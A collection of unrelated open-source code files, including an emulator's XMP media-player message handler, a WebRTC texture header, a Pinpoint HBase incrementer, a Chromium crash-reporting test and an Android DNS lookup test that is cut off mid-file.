"XMPCreateTitlePlaylist({:08X}, {:08X}, {:08X}({}), {:08X}, {:08X}, "
"{:08X})",
songs_ptr, song_count, playlist_name_ptr, xe::to_utf8(playlist_name),
flags, out_song_handles, out_playlist_handle);
auto playlist = std::make_unique<Playlist>();
playlist->handle = ++next_playlist_handle_;
playlist->name = playlist_name;
playlist->flags = flags;
if (songs_ptr) {
for (uint32_t i = 0; i < song_count; ++i) {
auto song = std::make_unique<Song>();
song->handle = ++next_song_handle_;
uint8_t* song_base = memory_->TranslateVirtual(songs_ptr + (i * 36));
song->file_path =
xe::load_and_swap<std::u16string>(memory_->TranslateVirtual(
xe::load_and_swap<uint32_t>(song_base + 0)));
song->name = xe::load_and_swap<std::u16string>(memory_->TranslateVirtual(
xe::load_and_swap<uint32_t>(song_base + 4)));
song->artist =
xe::load_and_swap<std::u16string>(memory_->TranslateVirtual(
xe::load_and_swap<uint32_t>(song_base + 8)));
song->album = xe::load_and_swap<std::u16string>(memory_->TranslateVirtual(
xe::load_and_swap<uint32_t>(song_base + 12)));
song->album_artist =
xe::load_and_swap<std::u16string>(memory_->TranslateVirtual(
xe::load_and_swap<uint32_t>(song_base + 16)));
song->genre = xe::load_and_swap<std::u16string>(memory_->TranslateVirtual(
xe::load_and_swap<uint32_t>(song_base + 20)));
song->track_number = xe::load_and_swap<uint32_t>(song_base + 24);
song->duration_ms = xe::load_and_swap<uint32_t>(song_base + 28);
song->format = static_cast<Song::Format>(
xe::load_and_swap<uint32_t>(song_base + 32));
if (out_song_handles) {
xe::store_and_swap<uint32_t>(
memory_->TranslateVirtual(out_song_handles + (i * 4)),
song->handle);
}
playlist->songs.emplace_back(std::move(song));
}
}
if (out_playlist_handle) {
xe::store_and_swap<uint32_t>(memory_->TranslateVirtual(out_playlist_handle),
playlist->handle);
}
auto global_lock = global_critical_region_.Acquire();
playlists_.insert({playlist->handle, playlist.get()});
playlist.release();
return X_E_SUCCESS;
}
X_HRESULT XmpApp::XMPDeleteTitlePlaylist(uint32_t playlist_handle) {
XELOGD("XMPDeleteTitlePlaylist({:08X})", playlist_handle);
auto global_lock = global_critical_region_.Acquire();
auto it = playlists_.find(playlist_handle);
if (it == playlists_.end()) {
XELOGE("Playlist {:08X} not found", playlist_handle);
return X_E_NOTFOUND;
}
auto playlist = it->second;
if (playlist == active_playlist_) {
XMPStop(0);
}
playlists_.erase(it);
delete playlist;
return X_E_SUCCESS;
}
X_HRESULT XmpApp::XMPPlayTitlePlaylist(uint32_t playlist_handle,
uint32_t song_handle) {
XELOGD("XMPPlayTitlePlaylist({:08X}, {:08X})", playlist_handle, song_handle);
Playlist* playlist = nullptr;
{
auto global_lock = global_critical_region_.Acquire();
auto it = playlists_.find(playlist_handle);
if (it == playlists_.end()) {
XELOGE("Playlist {:08X} not found", playlist_handle);
return X_E_NOTFOUND;
}
playlist = it->second;
}
if (disabled_) {
// Ignored because we aren't enabled?
XELOGW("Ignoring XMPPlayTitlePlaylist because disabled");
return X_E_SUCCESS;
}
// Start playlist?
XELOGW("Playlist playback not supported");
active_playlist_ = playlist;
active_song_index_ = 0;
state_ = State::kPlaying;
OnStateChanged();
kernel_state_->BroadcastNotification(kMsgPlaybackBehaviorChanged, 1);
return X_E_SUCCESS;
}
X_HRESULT XmpApp::XMPContinue() {
XELOGD("XMPContinue()");
if (state_ == State::kPaused) {
state_ = State::kPlaying;
}
OnStateChanged();
return X_E_SUCCESS;
}
X_HRESULT XmpApp::XMPStop(uint32_t unk) {
assert_zero(unk);
XELOGD("XMPStop({:08X})", unk);
active_playlist_ = nullptr; // ?
active_song_index_ = 0;
state_ = State::kIdle;
OnStateChanged();
return X_E_SUCCESS;
}
X_HRESULT XmpApp::XMPPause() {
XELOGD("XMPPause()");
if (state_ == State::kPlaying) {
state_ = State::kPaused;
}
OnStateChanged();
return X_E_SUCCESS;
}
X_HRESULT XmpApp::XMPNext() {
XELOGD("XMPNext()");
if (!active_playlist_) {
return X_E_NOTFOUND;
}
state_ = State::kPlaying;
active_song_index_ =
(active_song_index_ + 1) % active_playlist_->songs.size();
OnStateChanged();
return X_E_SUCCESS;
}
X_HRESULT XmpApp::XMPPrevious() {
XELOGD("XMPPrevious()");
if (!active_playlist_) {
return X_E_NOTFOUND;
}
state_ = State::kPlaying;
if (!active_song_index_) {
active_song_index_ = static_cast<int>(active_playlist_->songs.size()) - 1;
} else {
--active_song_index_;
}
OnStateChanged();
return X_E_SUCCESS;
}
void XmpApp::OnStateChanged() {
kernel_state_->BroadcastNotification(kMsgStateChanged,
static_cast<uint32_t>(state_));
}
X_HRESULT XmpApp::DispatchMessageSync(uint32_t message, uint32_t buffer_ptr,
uint32_t buffer_length) {
// NOTE: buffer_length may be zero or valid.
auto buffer = memory_->TranslateVirtual(buffer_ptr);
switch (message) {
case 0x00070002: {
assert_true(!buffer_length || buffer_length == 12);
uint32_t xmp_client = xe::load_and_swap<uint32_t>(buffer + 0);
uint32_t storage_ptr = xe::load_and_swap<uint32_t>(buffer + 4);
uint32_t song_handle = xe::load_and_swap<uint32_t>(buffer + 8); // 0?
uint32_t playlist_handle =
xe::load_and_swap<uint32_t>(memory_->TranslateVirtual(storage_ptr));
assert_true(xmp_client == 0x00000002);
return XMPPlayTitlePlaylist(playlist_handle, song_handle);
}
case 0x00070003: {
assert_true(!buffer_length || buffer_length == 4);
uint32_t xmp_client = xe::load_and_swap<uint32_t>(buffer + 0);
assert_true(xmp_client == 0x00000002);
return XMPContinue();
}
case 0x00070004: {
assert_true(!buffer_length || buffer_length == 8);
uint32_t xmp_client = xe::load_and_swap<uint32_t>(buffer + 0);
uint32_t unk = xe::load_and_swap<uint32_t>(buffer + 4);
assert_true(xmp_client == 0x00000002);
return XMPStop(unk);
}
case 0x00070005: {
assert_true(!buffer_length || buffer_length == 4);
uint32_t xmp_client = xe::load_and_swap<uint32_t>(buffer + 0);
assert_true(xmp_client == 0x00000002);
return XMPPause();
}
case 0x00070006: {
assert_true(!buffer_length || buffer_length == 4);
uint32_t xmp_client = xe::load_and_swap<uint32_t>(buffer + 0);
assert_true(xmp_client == 0x00000002);
return XMPNext();
}
case 0x00070007: {
assert_true(!buffer_length || buffer_length == 4);
uint32_t xmp_client = xe::load_and_swap<uint32_t>(buffer + 0);
assert_true(xmp_client == 0x00000002);
return XMPPrevious();
}
case 0x00070008: {
assert_true(!buffer_length || buffer_length == 16);
struct {
xe::be<uint32_t> xmp_client;
xe::be<uint32_t> playback_mode;
xe::be<uint32_t> repeat_mode;
xe::be<uint32_t> flags;
}* args = memory_->TranslateVirtual<decltype(args)>(buffer_ptr);
static_assert_size(decltype(*args), 16);
assert_true(args->xmp_client == 0x00000002 ||
args->xmp_client == 0x00000000);
XELOGD("XMPSetPlaybackBehavior({:08X}, {:08X}, {:08X})",
uint32_t(args->playback_mode), uint32_t(args->repeat_mode),
uint32_t(args->flags));
playback_mode_ = static_cast<PlaybackMode>(uint32_t(args->playback_mode));
repeat_mode_ = static_cast<RepeatMode>(uint32_t(args->repeat_mode));
unknown_flags_ = args->flags;
kernel_state_->BroadcastNotification(kMsgPlaybackBehaviorChanged, 0);
return X_E_SUCCESS;
}
case 0x00070009: {
assert_true(!buffer_length || buffer_length == 8);
uint32_t xmp_client = xe::load_and_swap<uint32_t>(buffer + 0);
uint32_t state_ptr =
xe::load_and_swap<uint32_t>(buffer + 4); // out ptr to 4b - expect 0
assert_true(xmp_client == 0x00000002);
return XMPGetStatus(state_ptr);
}
case 0x0007000B: {
assert_true(!buffer_length || buffer_length == 8);
struct {
xe::be<uint32_t> xmp_client;
xe::be<uint32_t> volume_ptr;
}* args = memory_->TranslateVirtual<decltype(args)>(buffer_ptr);
static_assert_size(decltype(*args), 8);
assert_true(args->xmp_client == 0x00000002);
XELOGD("XMPGetVolume({:08X})", uint32_t(args->volume_ptr));
xe::store_and_swap<float>(memory_->TranslateVirtual(args->volume_ptr),
volume_);
return X_E_SUCCESS;
}
case 0x0007000C: {
assert_true(!buffer_length || buffer_length == 8);
struct {
xe::be<uint32_t> xmp_client;
xe::be<float> value;
}* args = memory_->TranslateVirtual<decltype(args)>(buffer_ptr);
static_assert_size(decltype(*args), 8);
assert_true(args->xmp_client == 0x00000002);
XELOGD("XMPSetVolume({:g})", float(args->value));
volume_ = args->value;
return X_E_SUCCESS;
}
case 0x0007000D: {
assert_true(!buffer_length || buffer_length == 36);
struct {
xe::be<uint32_t> xmp_client;
xe::be<uint32_t> storage_ptr;
xe::be<uint32_t> storage_size;
xe::be<uint32_t> songs_ptr;
xe::be<uint32_t> song_count;
xe::be<uint32_t> playlist_name_ptr;
xe::be<uint32_t> flags;
xe::be<uint32_t> song_handles_ptr;
xe::be<uint32_t> playlist_handle_ptr;
}* args = memory_->TranslateVirtual<decltype(args)>(buffer_ptr);
static_assert_size(decltype(*args), 36);
xe::store_and_swap<uint32_t>(
memory_->TranslateVirtual(args->playlist_handle_ptr),
args->storage_ptr);
assert_true(args->xmp_client == 0x00000002 ||
args->xmp_client == 0x00000000);
std::u16string playlist_name;
if (!args->playlist_name_ptr) {
playlist_name = u"";
} else {
playlist_name = xe::load_and_swap<std::u16string>(
memory_->TranslateVirtual(args->playlist_name_ptr));
}
// dummy_alloc_ptr is the result of a XamAlloc of storage_size.
assert_true(uint32_t(args->storage_size) ==
4 + uint32_t(args->song_count) * 128);
return XMPCreateTitlePlaylist(args->songs_ptr, args->song_count,
args->playlist_name_ptr, playlist_name,
args->flags, args->song_handles_ptr,
args->storage_ptr);
}
case 0x0007000E: {
assert_true(!buffer_length || buffer_length == 12);
struct {
xe::be<uint32_t> xmp_client;
xe::be<uint32_t> unk_ptr; // 0
xe::be<uint32_t> info_ptr;
}* args = memory_->TranslateVirtual<decltype(args)>(buffer_ptr);
static_assert_size(decltype(*args), 12);
auto info = memory_->TranslateVirtual(args->info_ptr);
assert_true(args->xmp_client == 0x00000002);
assert_zero(args->unk_ptr);
XELOGE("XMPGetInfo?({:08X}, {:08X})", uint32_t(args->unk_ptr),
uint32_t(args->info_ptr));
if (!active_playlist_) {
return X_E_FAIL;
}
auto& song = active_playlist_->songs[active_song_index_];
xe::store_and_swap<uint32_t>(info + 0, song->handle);
xe::store_and_swap<std::u16string>(info + 4 + 572 + 0, song->name);
xe::store_and_swap<std::u16string>(info + 4 + 572 + 40, song->artist);
xe::store_and_swap<std::u16string>(info + 4 + 572 + 80, song->album);
xe::store_and_swap<std::u16string>(info + 4 + 572 + 120,
song->album_artist);
xe::store_and_swap<std::u16string>(info + 4 + 572 + 160, song->genre);
xe::store_and_swap<uint32_t>(info + 4 + 572 + 200, song->track_number);
xe::store_and_swap<uint32_t>(info + 4 + 572 + 204, song->duration_ms);
xe::store_and_swap<uint32_t>(info + 4 + 572 + 208,
static_cast<uint32_t>(song->format));
return X_E_SUCCESS;
}
case 0x00070013: {
assert_true(!buffer_length || buffer_length == 8);
struct {
xe::be<uint32_t> xmp_client;
xe::be<uint32_t> storage_ptr;
}* args = memory_->TranslateVirtual<decltype(args)>(buffer_ptr);
static_assert_size(decltype(*args), 8);
uint32_t playlist_handle = xe::load_and_swap<uint32_t>(
memory_->TranslateVirtual(args->storage_ptr));
assert_true(args->xmp_client == 0x00000002 ||
args->xmp_client == 0x00000000);
return XMPDeleteTitlePlaylist(playlist_handle);
}
case 0x0007001A: {
// XMPSetPlaybackController
assert_true(!buffer_length || buffer_length == 12);
struct {
xe::be<uint32_t> xmp_client;
xe::be<uint32_t> controller;
xe::be<uint32_t> locked;
}* args = memory_->TranslateVirtual<decltype(args)>(buffer_ptr);
static_assert_size(decltype(*args), 12);
assert_true(
(args->xmp_client == 0x00000002 && args->controller == 0x00000000) ||
(args->xmp_client == 0x00000000 && args->controller == 0x00000001));
XELOGD("XMPSetPlaybackController({:08X}, {:08X})",
uint32_t(args->controller), uint32_t(args->locked));
disabled_ = args->locked;
if (disabled_) {
XMPStop(0);
}
kernel_state_->BroadcastNotification(kMsgDisableChanged, disabled_);
return X_E_SUCCESS;
}
case 0x0007001B: {
// XMPGetPlaybackController
assert_true(!buffer_length || buffer_length == 12);
struct {
xe::be<uint32_t> xmp_client;
xe::be<uint32_t> controller_ptr;
xe::be<uint32_t> locked_ptr;
}* args = memory_->TranslateVirtual<decltype(args)>(buffer_ptr);
static_assert_size(decltype(*args), 12);
assert_true(args->xmp_client == 0x00000002);
XELOGD("XMPGetPlaybackController({:08X}, {:08X}, {:08X})",
uint32_t(args->xmp_client), uint32_t(args->controller_ptr),
uint32_t(args->locked_ptr));
xe::store_and_swap<uint32_t>(
memory_->TranslateVirtual(args->controller_ptr), 0);
xe::store_and_swap<uint32_t>(memory_->TranslateVirtual(args->locked_ptr),
0);
if (!XThread::GetCurrentThread()->main_thread()) {
// Atrain spawns a thread 82437FD0 to call this in a tight loop forever.
xe::threading::Sleep(std::chrono::milliseconds(10));
}
return X_E_SUCCESS;
}
case 0x00070029: {
// XMPGetPlaybackBehavior
assert_true(!buffer_length || buffer_length == 16);
struct {
xe::be<uint32_t> xmp_client;
xe::be<uint32_t> playback_mode_ptr;
xe::be<uint32_t> repeat_mode_ptr;
xe::be<uint32_t> unk3_ptr;
}* args = memory_->TranslateVirtual<decltype(args)>(buffer_ptr);
static_assert_size(decltype(*args), 16);
assert_true(args->xmp_client == 0x00000002 ||
args->xmp_client == 0x00000000);
XELOGD("XMPGetPlaybackBehavior({:08X}, {:08X}, {:08X})",
uint32_t(args->playback_mode_ptr), uint32_t(args->repeat_mode_ptr),
uint32_t(args->unk3_ptr));
if (args->playback_mode_ptr) {
xe::store_and_swap<uint32_t>(
memory_->TranslateVirtual(args->playback_mode_ptr),
static_cast<uint32_t>(playback_mode_));
}
if (args->repeat_mode_ptr) {
xe::store_and_swap<uint32_t>(
memory_->TranslateVirtual(args->repeat_mode_ptr),
static_cast<uint32_t>(repeat_mode_));
}
if (args->unk3_ptr) {
xe::store_and_swap<uint32_t>(memory_->TranslateVirtual(args->unk3_ptr),
unknown_flags_);
}
return X_E_SUCCESS;
}
case 0x0007002E: {
assert_true(!buffer_length || buffer_length == 12);
// Query of size for XamAlloc - the result of the alloc is passed to
// 0x0007000D.
struct {
xe::be<uint32_t> xmp_client;
xe::be<uint32_t> song_count;
xe::be<uint32_t> size_ptr;
}* args = memory_->TranslateVirtual<decltype(args)>(buffer_ptr);
static_assert_size(decltype(*args), 12);
assert_true(args->xmp_client == 0x00000002 ||
args->xmp_client == 0x00000000);
// We don't use the storage, so just fudge the number.
xe::store_and_swap<uint32_t>(memory_->TranslateVirtual(args->size_ptr),
4 + uint32_t(args->song_count) * 128);
return X_E_SUCCESS;
}
case 0x0007003D: {
// XMPCaptureOutput - not sure how this works :/
XELOGD("XMPCaptureOutput(...)");
assert_always("XMP output not unimplemented");
return X_E_FAIL;
}
}
XELOGE(
"Unimplemented XMP message app={:08X}, msg={:08X}, arg1={:08X}, "
"arg2={:08X}",
app_id(), message, buffer_ptr, buffer_length);
return X_E_FAIL;
}
} // namespace apps
} // namespace xam
} // namespace kernel
} // namespace xe
| 8,856 |
634 | <gh_stars>100-1000
/*
* Copyright 2013-2017 consulo.io
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package consulo.ui.web.internal;
import com.vaadin.ui.UI;
import javax.annotation.Nonnull;
/**
* @author VISTALL
* @since 13-Sep-17
*/
public class WebUIThreadLocal {
private static final ThreadLocal<UI> ourUI = new ThreadLocal<>();
public static void setUI(UI ui) {
ourUI.set(ui);
}
@Nonnull
public static UI getUI() {
UI ui = ourUI.get();
if (ui != null) {
return ui;
}
UI current = UI.getCurrent();
if (current != null) {
return current;
}
throw new UnsupportedOperationException();
}
}
| 377 |
5,169 | {
"name": "KSOTextInputEditText",
"version": "0.1.0",
"summary": "KSOTextInputEditText is an iOS framework for Android Material Design TextInputEditText styled UITextFields.",
"description": "KSOTextInputEditTextField is a KDITextField subclass that adds a floating label and styling comparable to the TextInputEditText UI Component found in Android Material Design.\n https://material.io/guidelines/components/text-fields.html#text-fields-field-types",
"homepage": "https://github.com/Kosoku/KSOTextInputEditText",
"license": {
"type": "BSD",
"file": "license.txt"
},
"authors": {
"<NAME>": "<EMAIL>"
},
"source": {
"git": "https://github.com/Kosoku/KSOTextInputEditText.git",
"tag": "0.1.0"
},
"platforms": {
"ios": "10.0"
},
"source_files": "KSOTextInputEditText/**/*.{h,m}",
"exclude_files": "KSOTextInputEditText/KSOTextInputEditText-Info.h",
"private_header_files": "KSOTextInputEditText/Private/*.h",
"frameworks": "UIKit",
"dependencies": {
"Ditko": [
],
"Stanley": [
]
}
}
| 399 |
1,738 | <reponame>jeikabu/lumberyard
/*
* All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or
* its licensors.
*
* For complete copyright and license terms please see the LICENSE at the root of this
* distribution (the "License"). All use of this software is governed by the License,
* or, if provided, by the license below or the license accompanying this file. Do not
* remove or modify any license notices. This file is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
*/
#pragma once
#include <AzCore/RTTI/RTTI.h>
#include <CameraFramework/ICameraTargetAcquirer.h>
#include <AzCore/Component/Component.h>
#include <LmbrCentral/Scripting/TagComponentBus.h>
#include <AzCore/Memory/SystemAllocator.h>
namespace AZ
{
class ReflectContext;
}
namespace Camera
{
//////////////////////////////////////////////////////////////////////////
/// This will request Camera targets from the CameraTarget buses. It will
/// then return that target's transform when requested by the Camera Rig
//////////////////////////////////////////////////////////////////////////
class AcquireByTag
: public ICameraTargetAcquirer
, private LmbrCentral::TagGlobalNotificationBus::Handler
{
public:
~AcquireByTag() override = default;
AZ_RTTI(AcquireByTag, "{E76621A5-E5A8-41B0-AC1D-EC87553181F5}", ICameraTargetAcquirer)
AZ_CLASS_ALLOCATOR(AcquireByTag, AZ::SystemAllocator, 0); ///< Use AZ::SystemAllocator, otherwise a CryEngine allocator will be used. This will cause the Asset Processor to crash when this object is deleted, because of the wrong uninitialisation order
static void Reflect(AZ::ReflectContext* reflection);
//////////////////////////////////////////////////////////////////////////
// ICameraTargetAcquirer
bool AcquireTarget(AZ::Transform& outTransformInformation) override;
void Activate(AZ::EntityId) override;
void Deactivate() override;
//////////////////////////////////////////////////////////////////////////
// LmbrCentral::TagGlobalNotificationBus
void OnEntityTagAdded(const AZ::EntityId&) override;
void OnEntityTagRemoved(const AZ::EntityId&) override;
private:
//////////////////////////////////////////////////////////////////////////
// Reflected Data
AZStd::string m_targetTag;
bool m_shouldUseTargetRotation = true;
bool m_shouldUseTargetPosition = true;
//////////////////////////////////////////////////////////////////////////
// Private Data
AZStd::vector<AZ::EntityId> m_targets;
};
} //namespace Camera | 851 |
777 | #!/usr/bin/env python
# Copyright 2015 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""A Windows-only end-to-end integration test for Kasko, Chrome and Crashpad.
This test ensures that the interface between Kasko and Chrome and Crashpad works
as expected. The test causes Kasko to set certain crash keys and invoke a crash
report, which is in turn delivered to a locally hosted test crash server. If the
crash report is received intact with the expected crash keys then all is well.
Note that this test only works against non-component Release and Official builds
of Chrome with Chrome branding, and attempting to use it with anything else will
most likely lead to constant failures.
Typical usage (assuming in root 'src' directory):
- generate project files with the following GYP variables:
branding=Chrome syzyasan=1 win_z7=0 chromium_win_pch=0
- build the release Chrome binaries:
ninja -C out\Release chrome.exe chromedriver.exe
- run the test:
python chrome/test/kasko/kasko_integration_test.py
"""
import logging
import os
import sys
# Bring in the Kasko module.
KASKO_DIR = os.path.join(os.path.dirname(__file__), 'py')
sys.path.append(KASKO_DIR)
import kasko
_LOGGER = logging.getLogger(os.path.basename(__file__))
def Main():
try:
options = kasko.config.ParseCommandLine()
kasko.integration_test.RunTest(
options,
'chrome://kasko/send-report',
10,
{'kasko-set-crash-key-value-impl': 'SetCrashKeyValueImpl'})
_LOGGER.info('Test passed successfully!')
except Exception as e:
_LOGGER.error(e)
return 1
if __name__ == '__main__':
sys.exit(Main())
| 562 |
2,151 | <gh_stars>1000+
/*
* Copyright (c) 2016 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#ifndef MODULES_DESKTOP_CAPTURE_WIN_DXGI_TEXTURE_STAGING_H_
#define MODULES_DESKTOP_CAPTURE_WIN_DXGI_TEXTURE_STAGING_H_
#include <wrl/client.h>
#include <D3D11.h>
#include <DXGI1_2.h>
#include "modules/desktop_capture/desktop_geometry.h"
#include "modules/desktop_capture/desktop_region.h"
#include "modules/desktop_capture/win/d3d_device.h"
#include "modules/desktop_capture/win/dxgi_texture.h"
namespace webrtc {
// A pair of an ID3D11Texture2D and an IDXGISurface. We need an ID3D11Texture2D
// instance to copy GPU texture to RAM, but an IDXGISurface instance to map the
// texture into a bitmap buffer. These two instances are pointing to a same
// object.
//
// An ID3D11Texture2D is created by an ID3D11Device, so a DxgiTexture cannot be
// shared between two DxgiAdapterDuplicators.
class DxgiTextureStaging : public DxgiTexture {
public:
// Creates a DxgiTextureStaging instance. Caller must maintain the lifetime
// of input device to make sure it outlives this instance.
explicit DxgiTextureStaging(const D3dDevice& device);
~DxgiTextureStaging() override;
protected:
// Copies selected regions of a frame represented by frame_info and texture.
// Returns false if anything wrong.
bool CopyFromTexture(const DXGI_OUTDUPL_FRAME_INFO& frame_info,
ID3D11Texture2D* texture) override;
bool DoRelease() override;
private:
// Initializes stage_ from a CPU inaccessible IDXGIResource. Returns false if
// it failed to execute Windows APIs, or the size of the texture is not
// consistent with desktop_rect.
bool InitializeStage(ID3D11Texture2D* texture);
// Makes sure stage_ and surface_ are always pointing to a same object.
// We need an ID3D11Texture2D instance for
// ID3D11DeviceContext::CopySubresourceRegion, but an IDXGISurface for
// IDXGISurface::Map.
void AssertStageAndSurfaceAreSameObject();
const DesktopRect desktop_rect_;
const D3dDevice device_;
Microsoft::WRL::ComPtr<ID3D11Texture2D> stage_;
Microsoft::WRL::ComPtr<IDXGISurface> surface_;
};
} // namespace webrtc
#endif // MODULES_DESKTOP_CAPTURE_WIN_DXGI_TEXTURE_STAGING_H_
| 846 |
657 | {
"desc": "Deletes an existing comment on a file.",
"args": {
"file": {
"required" : true,
"example" : "F1234567890",
"desc" : "File to delete a comment from."
},
"id": {
"required" : true,
"example" : "Fc1234567890",
"desc" : "The comment to delete."
}
},
"errors": {
"file_not_found" : "The requested file could not be found.",
"file_deleted" : "The requested file was previously deleted.",
"cant_delete" : "The requested comment could not be deleted."
}
}
| 231 |
1,473 | <filename>collector/src/main/java/com/navercorp/pinpoint/collector/dao/hbase/statistics/SizeLimitedBulkIncrementer.java
/*
* Copyright 2021 NAVER Corp.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.navercorp.pinpoint.collector.dao.hbase.statistics;
import com.navercorp.pinpoint.collector.dao.hbase.BulkOperationReporter;
import com.navercorp.pinpoint.common.util.Assert;
import com.sematext.hbase.wd.RowKeyDistributorByHashPrefix;
import org.apache.hadoop.hbase.TableName;
import org.apache.hadoop.hbase.client.Increment;
import java.util.List;
import java.util.Map;
import java.util.Objects;
class SizeLimitedBulkIncrementer implements BulkIncrementer, BulkState {
private volatile boolean overflowState = false;
private final BulkIncrementer delegate;
private final int limitSize;
private final BulkOperationReporter reporter;
SizeLimitedBulkIncrementer(BulkIncrementer delegate, int limitSize, BulkOperationReporter reporter) {
this.delegate = Objects.requireNonNull(delegate, "delegate");
Assert.isTrue(limitSize > 0, "limit size must be ' > 0'");
this.limitSize = limitSize;
this.reporter = Objects.requireNonNull(reporter, "reporter");
}
@Override
public void increment(TableName tableName, RowKey rowKey, ColumnName columnName) {
this.increment(tableName, rowKey, columnName, 1L);
}
@Override
public void increment(TableName tableName, RowKey rowKey, ColumnName columnName, long addition) {
if (overflowState) {
reporter.reportReject();
return;
}
delegate.increment(tableName, rowKey, columnName, addition);
}
// Called by monitoring thread
@Override
public boolean checkState() {
if (delegate.getSize() > limitSize) {
overflowState = true;
return false;
} else {
overflowState = false;
return true;
}
}
@Override
public Map<TableName, List<Increment>> getIncrements(RowKeyDistributorByHashPrefix rowKeyDistributor) {
try {
return delegate.getIncrements(rowKeyDistributor);
} finally {
reporter.reportFlushAll();
overflowState = false;
}
}
@Override
public int getSize() {
return this.delegate.getSize();
}
}
| 1,035 |
410 | package com.iwebpp.node.tests;
import java.util.List;
import android.util.Log;
import com.iwebpp.node.Dns;
import com.iwebpp.node.Util;
import junit.framework.TestCase;
public final class DnsTest extends TestCase {
private static final String TAG = "DnsTest";
public static final String HOST_0 = "localhost";
public static final String HOST_1 = "sohu.com";
public static final String HOST_2 = "iwebpp.com";
public static final String HOST_3 = "ruyier.com";
public static final String HOST_4 = "iwebvpn.com";
private String ip0;
private String ip1;
private String ip2;
private String ip3;
private String ip4;
public static final String IPT_0 = "127.0.0.1";
public static final String IPT_1 = "::1";
public static final String IPT_2 = "localhost";
public static final String IPT_3 = "1.127.0.0.1";
public static final String IPT_4 = ":::1";
@Override
protected void setUp() throws Exception {
super.setUp();
// Lookup
ip0 = Dns.lookup(HOST_0);
Log.d(TAG, "host:"+ HOST_0 +",ip:"+ ip0);
ip1 = Dns.lookup(HOST_1);
Log.d(TAG, "host:"+ HOST_1 +",ip:"+ ip1);
ip2 = Dns.lookup(HOST_2);
Log.d(TAG, "host:"+ HOST_2 +",ip:"+ ip2);
ip3 = Dns.lookup(HOST_3);
Log.d(TAG, "host:"+ HOST_3 +",ip:"+ ip3);
ip4 = Dns.lookup(HOST_4);
Log.d(TAG, "host:"+ HOST_4 +",ip:"+ ip4);
}
public void testReverseLookup() {
List<String> hosts0 = Dns.reverse(ip0);
if (!(hosts0 != null && hosts0.contains(HOST_0))) {
Log.d(TAG, "Not matched ip:" + ip0);
}
Log.d(TAG, "\n\nip:" + ip0 + ",hosts:" + hosts0);
assertTrue (hosts0 != null && hosts0.contains(HOST_0));
List<String> hosts1 = Dns.reverse(ip1);
if (!(hosts1 != null && hosts1.contains(HOST_1))) {
Log.d(TAG, "Not matched ip:" + ip1);
}
Log.d(TAG, "ip:" + ip1 + ",hosts:" + hosts1);
assertFalse (hosts1 != null && hosts1.contains(HOST_1));
List<String> hosts2 = Dns.reverse(ip2);
if (!(hosts2 != null && hosts2.contains(HOST_2))) {
Log.d(TAG, "Not matched ip:" + ip2);
}
Log.d(TAG, "ip:" + ip2 + ",hosts:" + hosts2);
assertFalse (hosts2 != null && hosts2.contains(HOST_2));
List<String> hosts3 = Dns.reverse(ip3);
if (!(hosts3 != null && hosts3.contains(HOST_3))) {
Log.d(TAG, "Not matched ip:" + ip3);
}
Log.d(TAG, "ip:" + ip3 + ",hosts:" + hosts3);
assertFalse (hosts3 != null && hosts3.contains(HOST_3));
List<String> hosts4 = Dns.reverse(ip4);
if (!(hosts4 != null && hosts4.contains(HOST_4))) {
Log.d(TAG, "Not matched ip:" + ip4);
}
Log.d(TAG, "ip:" + ip4 + ",hosts:" + hosts4);
assertFalse (hosts4 != null && hosts4.contains(HOST_4));
}
public void testIPAddress ()
{
if (!Util.isIPv4(IPT_0))
Log.d(TAG, "isIPv4 test failed on "+ IPT_0);
assertTrue (Util.isIPv4(IPT_0));
if (Util.isIPv6(IPT_0))
Log.d(TAG, "isIPv6 test failed on "+ IPT_0);
assertFalse (Util.isIPv6(IPT_0));
if (!Util.isIP(IPT_0))
Log.d(TAG, "isIP test failed on "+ IPT_0);
assertTrue (Util.isIP(IPT_0));
if (Util.isIPv4(IPT_1))
Log.d(TAG, "isIPv4 test failed on "+ IPT_1);
assertFalse (Util.isIPv4(IPT_1));
if (!Util.isIPv6(IPT_1))
Log.d(TAG, "isIPv6 test failed on "+ IPT_1);
assertTrue (Util.isIPv6(IPT_1));
if (!Util.isIP(IPT_1))
Log.d(TAG, "isIP test failed on "+ IPT_1);
assertTrue (Util.isIP(IPT_1));
if (Util.isIPv4(IPT_2))
Log.d(TAG, "isIPv4 test failed on "+ IPT_2);
assertFalse (Util.isIPv4(IPT_2));
if (Util.isIPv6(IPT_2))
Log.d(TAG, "isIPv6 test failed on "+ IPT_2);
assertFalse (Util.isIPv6(IPT_2));
if (Util.isIP(IPT_2))
Log.d(TAG, "isIP test failed on "+ IPT_2);
assertFalse (Util.isIP(IPT_2));
if (Util.isIPv4(IPT_3))
Log.d(TAG, "isIPv4 test failed on "+ IPT_3);
assertFalse (Util.isIPv4(IPT_3));
if (Util.isIPv6(IPT_3))
Log.d(TAG, "isIPv6 test failed on "+ IPT_3);
assertFalse (Util.isIPv6(IPT_3));
if (Util.isIP(IPT_3))
Log.d(TAG, "isIP test failed on "+ IPT_3);
assertFalse (Util.isIP(IPT_3));
if (Util.isIPv4(IPT_4))
Log.d(TAG, "isIPv4 test failed on "+ IPT_4);
assertFalse (Util.isIPv4(IPT_4));
if (Util.isIPv6(IPT_4))
Log.d(TAG, "isIPv6 test failed on "+ IPT_4);
